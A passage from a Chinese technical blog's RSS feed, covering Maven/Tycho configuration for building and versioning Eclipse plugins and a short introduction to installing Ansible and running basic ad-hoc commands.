&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;artifactId&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;maven&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;bundle&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;plugin&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;artifactId&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;version&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;mf&#34;&gt;3.0&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;version&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;extensions&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;bp&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;extensions&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;configuration&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;				&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;niceManifest&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;bp&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;niceManifest&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;				&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;manifestLocation&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;META&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;bp&#34;&gt;INF&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;manifestLocation&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;				&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;instructions&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;					&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Bundle&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;SymbolicName&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;$&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;project&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;artifactId&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Bundle&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;SymbolicName&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;					&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Embed&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Dependency&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;*&amp;lt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Embed&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Dependency&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;					&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Embed&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Transitive&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;bp&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Embed&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Transitive&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;					&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Embed&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;ne&#34;&gt;Directory&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;lib&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Embed&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;ne&#34;&gt;Directory&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;					&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Bundle&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ClassPath&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;maven&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;dependencies&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Bundle&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ClassPath&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;					&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;_exportcontents&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;*&amp;lt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;_exportcontents&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;					&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;_failok&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;bp&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;_failok&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;					&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;_nouses&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;bp&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;_nouses&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;					&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Import&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Package&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Import&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Package&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;				&lt;span class=&#34;o&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;instructions&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&lt;span class=&#34;o&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;configuration&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;o&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;plugin&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;o&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;plugins&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;build&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;然后正常添加一些依赖到这个工程中。然后执行一下mvn clean install ，你就会发现本地mvn仓库生成了一个jar包，这个jar里直接打包了所有的jar&lt;/p&gt;
&lt;p&gt;关于插件部分&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;新建一个类型为pom的parent工程。用来包含下面的子工程，通过&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&amp;lt;modules&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&amp;lt;module&amp;gt;xxx.plugin.1&amp;lt;/module&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&amp;lt;module&amp;gt;xxx.plugin.2&amp;lt;/module&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&amp;lt;/modules&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;来管理。同时 添加如下的插件&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&amp;lt;properties&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&amp;lt;tycho.version&amp;gt;0.24.0&amp;lt;/tycho.version&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&amp;lt;/properties&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&amp;lt;build&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&amp;lt;plugins&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&amp;lt;plugin&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&amp;lt;groupId&amp;gt;org.apache.maven.plugins&amp;lt;/groupId&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&amp;lt;artifactId&amp;gt;maven-source-plugin&amp;lt;/artifactId&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&amp;lt;executions&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;				&amp;lt;execution&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;					&amp;lt;id&amp;gt;attach-sources&amp;lt;/id&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;					&amp;lt;phase&amp;gt;none&amp;lt;/phase&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;				&amp;lt;/execution&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&amp;lt;/executions&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&amp;lt;version&amp;gt;2.4&amp;lt;/version&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&amp;lt;/plugin&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&amp;lt;plugin&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&amp;lt;groupId&amp;gt;org.eclipse.tycho&amp;lt;/groupId&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&amp;lt;artifactId&amp;gt;tycho-maven-plugin&amp;lt;/artifactId&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&amp;lt;version&amp;gt;${tycho.version}&amp;lt;/version&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&amp;lt;extensions&amp;gt;true&amp;lt;/extensions&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&amp;lt;/plugin&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&amp;lt;plugin&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&amp;lt;groupId&amp;gt;org.eclipse.tycho&amp;lt;/groupId&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&amp;lt;artifactId&amp;gt;target-platform-configuration&amp;lt;/artifactId&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&amp;lt;version&amp;gt;${tycho.version}&amp;lt;/version&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&amp;lt;configuration&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;				&amp;lt;pomDependencies&amp;gt;consider&amp;lt;/pomDependencies&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&amp;lt;/configuration&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&amp;lt;/plugin&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&amp;lt;/plugins&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&amp;lt;/build&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start=&#34;2&#34;&gt;
&lt;li&gt;
&lt;p&gt;新建一个专门用来管理依赖的features，这样用户就可以安装这个features，来把所有的依赖安装到eclipse插件目录了。packing是eclipse-feature&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;新建一个plugin，新建一个这个插件对应的feature。然后通过右键转换成mvn工程。如图&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img alt=&#34;mvn转换&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/convert2mvn.png&#34;&gt;&lt;/p&gt;
&lt;ol start=&#34;4&#34;&gt;
&lt;li&gt;新建一个repository项目，这个项目主要就是为了发布，生成发布相关的文件。新建Update set project。然后添加两个features。转换成mvn。其中packing改成eclipse-repository。
注意，这里的版本号必须对应。比如plugin.xml的版本是1.5.0.qualifier,那么对应pom中必须是1.5.0-SNAPSHOT&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;然后去根目录下执行一下mvn clean install，就会在repository目录生成需要部署的zip文件或者web site文件&lt;/p&gt;
&lt;p&gt;遗留问题是以后要是升级版本号怎么办。。不用担心。。主pom中添加&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&amp;lt;plugin&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   &amp;lt;groupId&amp;gt;org.eclipse.tycho&amp;lt;/groupId&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   &amp;lt;artifactId&amp;gt;tycho-versions-plugin&amp;lt;/artifactId&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   &amp;lt;version&amp;gt;${tycho.version}&amp;lt;/version&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&amp;lt;/plugin&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;然后 在根目录执行 &lt;code&gt;mvn -Dtycho.mode=maven org.eclipse.tycho:tycho-versions-plugin:set-version -DnewVersion=1.6.0&lt;/code&gt; 即可全部替换pom和plugin的版本号&lt;/p&gt;
&lt;p&gt;另外如果项目导入后在eclipse中报错，一般是因为缺少了上面说的那个依赖。可以直接复制到eclipse的plugin依赖目录。或者在mvn clean install之后，通过安装 依赖feature的方式解决。&lt;/p&gt;
&lt;p&gt;附上一些文档&lt;/p&gt;</description>
    </item>
    <item>
      <title>ansible简单使用</title>
      <link>http://blog.leaver.me/2016/03/25/ansible%E7%AE%80%E5%8D%95%E4%BD%BF%E7%94%A8/</link>
      <pubDate>Fri, 25 Mar 2016 19:51:07 +0000</pubDate>
      <guid>http://blog.leaver.me/2016/03/25/ansible%E7%AE%80%E5%8D%95%E4%BD%BF%E7%94%A8/</guid>
      <description>&lt;p&gt;由于线下机器太多.有没有日志平台,所以查询日志比较麻烦.发现了ansible,按照官方文档(ubuntu)&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ sudo apt-get install software-properties-common
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ sudo apt-add-repository ppa:ansible/ansible
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ sudo apt-get update
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ sudo apt-get install ansible
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;一步步执行,第二步执行的时候,可能会报错&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo: add-apt-repository: command not found
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这时候.先执行&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ sudo add-apt-repository ppa:git-core/ppa
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ sudo apt-get update
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;然后接着执行上面的第二步就行了..&lt;/p&gt;
&lt;p&gt;安装完成后,配置集群&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;cat /etc/ansible/hosts
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;[servergroup1]
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;192.168.1.1 ansible_ssh_user=root ansible_ssh_pass=root
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;[servergroup2]
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;192.168.2.1 ansible_ssh_user=root ansible_ssh_pass=root
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;后面的账号和密码,如果你使用ssh key登陆的话就不需要了.但是如果有很多机器,需要加到known_hosts就太多了.
这时候可以参考&lt;a href=&#34;https://github.com/linuxyan/linuxyan/blob/master/python/Batch_create_pub_key/Batch_key.py&#34;&gt;Batch_key&lt;/a&gt;
这个脚本.稍微修改一下,就能批量生成了&lt;/p&gt;
&lt;p&gt;然后就是执行命令了&lt;/p&gt;
&lt;p&gt;ansible常见用法为ansible host-pattern -m 模块 -a 命令，host-pattern类似于简化的正则表达式，而模块可以通过ansible-doc -l命令来查询。下面是一些常用模块的使用方法：&lt;/p&gt;
&lt;p&gt;安装软件：&lt;code&gt;ansible servergroup1 -m apt -a &#39;name=gcc state=present&#39; 或者ansible local -m yum -a &amp;quot;name=nmap state=installed&amp;quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;执行命令：&lt;code&gt;ansible servergroup1 -m shell -a &#39;uptime&#39;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;拷贝文件：&lt;code&gt;ansible servergroup1 -m copy -a  &#39;src=http://blog.leaver.me/tmp/server dest=/tmp/server&#39;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;文件属性：&lt;code&gt;ansible servergroup1 -m file -a  &#39;dest=/tmp/server mode=755 owner=root group=root&#39;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;还有一个playbook的,看上去就是一个任务定义.我也暂时用不上..&lt;/p&gt;
&lt;p&gt;参考文档:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&#34;http://docs.ansible.com/ansible/intro_installation.html&#34;&gt;http://docs.ansible.com/ansible/intro_installation.html&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&#34;http://lifeonubuntu.com/ubuntu-missing-add-apt-repository-command/&#34;&gt;http://lifeonubuntu.com/ubuntu-missing-add-apt-repository-command/&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
